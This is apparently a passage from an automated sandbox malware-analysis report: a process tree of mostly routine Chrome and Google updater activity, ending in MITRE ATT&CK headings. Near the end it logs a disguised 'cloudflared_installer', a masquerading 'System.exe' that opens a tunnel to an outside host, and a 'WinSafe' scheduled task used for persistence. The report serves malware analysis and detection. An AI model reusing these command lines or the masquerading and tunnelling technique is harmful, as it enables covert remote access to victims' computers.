        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2448,i,17558300494323503286,13812674263463977403,524288 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2584 /prefetch:13
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4816
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3272,i,6618857291794432606,1822167051041954363,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=3288 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2552
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3324,i,29224292088445602,13002028044667428456,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3344 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6068
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3840,i,466465419309142409,15095618753570608519,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=1628 /prefetch:9
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3548
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3928,i,15328468128204138108,4243178512508910605,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=4432 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2272
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3944,i,11095643229472566426,6348757355465205750,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=4456 /prefetch:9
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2160
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4932,i,15973788163656132525,847526203098990200,524288 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708995682289984 --mojo-platform-channel-handle=4944 /prefetch:14
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2384
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5112,i,9063017185677605428,723908354462091195,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708996619331833 --mojo-platform-channel-handle=5140 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3380
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5748,i,5551724225445020308,2037699495565503221,524288 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=5752 /prefetch:14
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2820
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5828,i,6353311633890327478,13105577362801125593,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708998493415531 --mojo-platform-channel-handle=5876 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2852
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5848,i,12737524917899973100,6236218303154646908,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708999430457380 --mojo-platform-channel-handle=5896 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5448
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6140,i,11412118957912294017,285682604147187724,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709000367499229 --mojo-platform-channel-handle=5828 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5728
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6136,i,4416852334176600025,519811176077517410,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709001304541078 --mojo-platform-channel-handle=5848 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5744
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6492,i,1972367162275601648,10233152348499273404,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709002241582927 --mojo-platform-channel-handle=6140 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1208
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6008,i,6578021247673635810,15564654105778127186,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709003178624776 --mojo-platform-channel-handle=6136 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4280
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6712,i,5349905076363703136,5333553016740532508,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709004115666625 --mojo-platform-channel-handle=6720 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2352
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6808,i,14761162848164277091,2309531311607381873,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709005052708474 --mojo-platform-channel-handle=6008 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5064
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5116,i,5175156868306392628,7187705685156036599,524288 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709005989750323 --mojo-platform-channel-handle=6492 /prefetch:14
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1056
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6732,i,4797534385067808830,16839107062329155278,524288 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709006926792172 --mojo-platform-channel-handle=5900 /prefetch:14
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2232
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5992,i,4599558228218553350,16269273564837627182,524288 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709007863834021 --mojo-platform-channel-handle=6464 /prefetch:14
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4328
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6216,i,14301232479382331389,13201851321605785353,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709008800875870 --mojo-platform-channel-handle=6180 /prefetch:1
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3236
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6368,i,5595730582984120493,17564128356955675802,2097152 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709009737917719 --mojo-platform-channel-handle=6560 /prefetch:9
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2232
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6184,i,4945838381244451615,3777877571383404560,524288 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709010674959568 --mojo-platform-channel-handle=256 /prefetch:14
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1328
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6368,i,3254532789022123868,8048502523853981081,524288 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709011612001417 --mojo-platform-channel-handle=4032 /prefetch:14
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3888
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6220,i,16412028158839652823,4250497053001065547,524288 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190709012549043266 --mojo-platform-channel-handle=6376 /prefetch:14
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5856
- C:\Users\Admin\AppData\Local\Temp\gentee79\cloudflared_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\gentee79\cloudflared_installer.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5936
- - C:\Users\Admin\AppData\Local\Temp\is-2CS22.tmp\cloudflared_installer.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-2CS22.tmp\cloudflared_installer.tmp" /SL5="$701C8,20652804,926208,C:\Users\Admin\AppData\Local\Temp\gentee79\cloudflared_installer.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4276
  - - C:\Windows\SysWOW64\msiexec.exe
      "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\is-C20K3.tmp\cf.msi" /qn /norestart
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4344

C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
"C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --system --windows-service --service=update-internal
1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
  "C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0xf1e5fc,0xf1e608,0xf1e614
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  PID:2700

C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
"C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --system --windows-service --service=update
1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5536
- C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
  "C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0xf1e5fc,0xf1e608,0xf1e614
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2300
- C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
  "C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --unzip-worker --system --mojo-platform-channel-handle=676
  2⤵
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5556
- - C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
    "C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2b4,0x2b8,0x2bc,0x2b0,0x2c0,0xf1e5fc,0xf1e608,0xf1e614
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5960
- C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\150.0.7871.125_chrome_installer_uncompressed.exe
  "C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\150.0.7871.125_chrome_installer_uncompressed.exe" --verbose-logging --do-not-launch-chrome --channel=stable --installerdata="C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\54e34ee8-a817-4f73-ba6e-f3cb3dd4d341.tmp"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5684
- - C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\setup.exe
    "C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\setup.exe" --uncompressed-archive="C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\CHROME.7Z" --verbose-logging --do-not-launch-chrome --channel=stable --installerdata="C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\54e34ee8-a817-4f73-ba6e-f3cb3dd4d341.tmp"
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - System Network Configuration Discovery: Internet Connection Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3220
  - - C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\setup.exe
      C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=150.0.7871.125 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x29c,0x2a0,0x2a4,0x278,0x2a8,0x7ff6d5d16980,0x7ff6d5d1698c,0x7ff6d5d16998
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      PID:1812
  - - C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\setup.exe
      "C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\setup.exe" --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=1
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      Suspicious use of WriteProcessMemory
      PID:4408
    - - C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\setup.exe
        
        C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=150.0.7871.125 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x29c,0x2a0,0x2a4,0x278,0x2a8,0x7ff6d5d16980,0x7ff6d5d1698c,0x7ff6d5d16998
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        
        PID:3804
- C:\Program Files\Google\Chrome\Application\150.0.7871.125\os_update_handler.exe
  "C:\Program Files\Google\Chrome\Application\150.0.7871.125\os_update_handler.exe" --channel=stable --force-install --system-level
  2⤵
  - Executes dropped EXE
  PID:1516
- C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
  "C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --unzip-worker --system --mojo-platform-channel-handle=1896
  2⤵
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
    "C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2b0,0x2b4,0x2b8,0x2ac,0x2bc,0xf1e5fc,0xf1e608,0xf1e614
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4112
- C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_122668021\platform_experience_helper.exe
  "C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_122668021\platform_experience_helper.exe" --install
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  PID:3412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4768

C:\Program Files\Google\Chrome\Application\150.0.7871.125\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\150.0.7871.125\elevation_service.exe"
1⤵
- Executes dropped EXE
PID:3144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5156

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2204

C:\ProgramData\Microsoft\System\System.exe
"C:\ProgramData\Microsoft\System\System.exe" access tcp --hostname www.tamei.cyou --url tcp://127.0.0.1:443
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5256

C:\ProgramData\Microsoft\System\System.exe
"C:\ProgramData\Microsoft\System\System.exe" access tcp --hostname www.tamei.cyou --url tcp://127.0.0.1:443
1⤵
- Executes dropped EXE
PID:3000

C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe
"C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4400
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /tn WinSafe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5232

C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe
C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe
1⤵
- Executes dropped EXE
PID:2712

C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
"C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --system --windows-service --service=update
1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4836
- C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
  "C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0xf1e5fc,0xf1e608,0xf1e614
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1660

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

